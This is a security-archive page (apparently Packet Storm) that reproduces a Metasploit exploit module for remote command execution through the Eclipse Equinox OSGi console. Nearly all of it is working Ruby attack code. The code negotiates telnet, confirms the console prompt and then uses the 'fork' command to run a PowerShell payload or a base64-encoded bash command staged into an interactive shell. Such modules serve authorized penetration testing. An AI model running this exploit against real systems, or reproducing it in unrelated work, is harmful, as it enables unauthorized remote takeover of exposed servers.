what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Eclipse Equinoxe OSGi Console Command Execution

Eclipse Equinoxe OSGi Console Command Execution
Posted Mar 7, 2018
Authored by Quentin Kaiser | Site metasploit.com

This Metasploit module exploits the Eclipse Equinoxe OSGi (Open Service Gateway initiative) console fork command to execute arbitrary commands on the remote system..

tags | exploit, remote, arbitrary
SHA-256 | 32ab794c04a43a7815dcac8dd5adf291828425b976e3e4610d3300a8c8e5373e

Eclipse Equinoxe OSGi Console Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'base64'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell

TELNET_IAC = Msf::Exploit::Remote::Telnet

def initialize(info = {})
super(update_info(info,
'Name' => 'Eclipse Equinoxe OSGi Console Command Execution',
'Description' => %q{
Exploit Eclipse Equinoxe OSGi (Open Service Gateway initiative) console
'fork' command to execute arbitrary commands on the remote system..
},
'Author' =>
[
'Quentin Kaiser <kaiserquentin@gmail.com>'
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://www.eclipse.org/equinox/documents/quickstart-framework.php']
],
'Platform' => %w{ linux win },
'Arch' => [ARCH_ARMLE, ARCH_AARCH64, ARCH_X86, ARCH_X64],
'Targets'=> [
[ 'Linux (Bash Payload)', { 'Platform' => 'linux' } ],
[ 'Windows (Powershell Payload)', { 'Platform' => 'win' } ]
],
'CmdStagerFlavor' => [ 'bourne' ],
'DisclosureDate' => 'Feb 13 2018',
'DefaultTarget' => 0))
deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')
register_options([
OptInt.new('TIME_WAIT', [ true, 'Time to wait for payload to be executed', 20])
])
end

def check
connect
res = sock.get_once
if res == TELNET_IAC::IAC+TELNET_IAC::WILL+TELNET_IAC::OPT_ECHO+\
TELNET_IAC::IAC+TELNET_IAC::WILL+TELNET_IAC::OPT_SGA+\
TELNET_IAC::IAC+TELNET_IAC::DO+TELNET_IAC::OPT_NAWS+\
TELNET_IAC::IAC+TELNET_IAC::DO+TELNET_IAC::OPT_TTYPE
# terminal type 'xterm-256color' = \x78\x74\x65\x72\x6D\x2D\x32\x35\x36\x63\x6F\x6C\x6F\x72
sock.put(TELNET_IAC::IAC+TELNET_IAC::SB+TELNET_IAC::OPT_TTYPE+\
"\x00xterm-256color"+TELNET_IAC::IAC+TELNET_IAC::SE)
res = sock.get_once
end
disconnect
if res && res == "osgi> "
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end

def exploit
begin
print_status("Accessing the OSGi console ...")

unless check == Exploit::CheckCode::Vulnerable
fail_with(Failure::NoTarget, "#{peer} - Failed to access the OSGi console")
end

if target['Platform'] == "win" then
exec_command("fork \"#{cmd_psh_payload(payload.encoded, payload_instance.arch.first, {encode_final_payload: true, remove_comspec: true})}\"")
else
execute_cmdstager({:flavor => :bourne})
end

print_status("#{rhost}:#{rport} - Waiting for session...")

(datastore['TIME_WAIT']).times do
Rex.sleep(1)
# Success! session is here!
break if session_created?
end
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}")
ensure
disconnect
end
end

def exec_command(cmd)
connect
res = sock.get_once
if res == TELNET_IAC::IAC+TELNET_IAC::WILL+TELNET_IAC::OPT_ECHO+\
TELNET_IAC::IAC+TELNET_IAC::WILL+TELNET_IAC::OPT_SGA+\
TELNET_IAC::IAC+TELNET_IAC::DO+TELNET_IAC::OPT_NAWS+\
TELNET_IAC::IAC+TELNET_IAC::DO+TELNET_IAC::OPT_TTYPE
sock.put(TELNET_IAC::IAC+TELNET_IAC::SB+TELNET_IAC::OPT_TTYPE+\
"\x00xterm-256color"+TELNET_IAC::IAC+TELNET_IAC::SE)
res = sock.get_once
end
print_status("Exploiting...")
sock.put("#{cmd}\r\n")
res = sock.get
sock.put("disconnect\r\n")
res = sock.get
sock.put("y\r\n")
end

def execute_command(cmd, opts={})
cmd_b64 = Base64.encode64(cmd).gsub(/\s+/, "")
# Runtime.getRuntime().exec() workaround on Linux. Requires bash.
exec_command("fork \"bash -c {echo,#{cmd_b64}}|{base64,-d}|{bash,-i}\"")
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close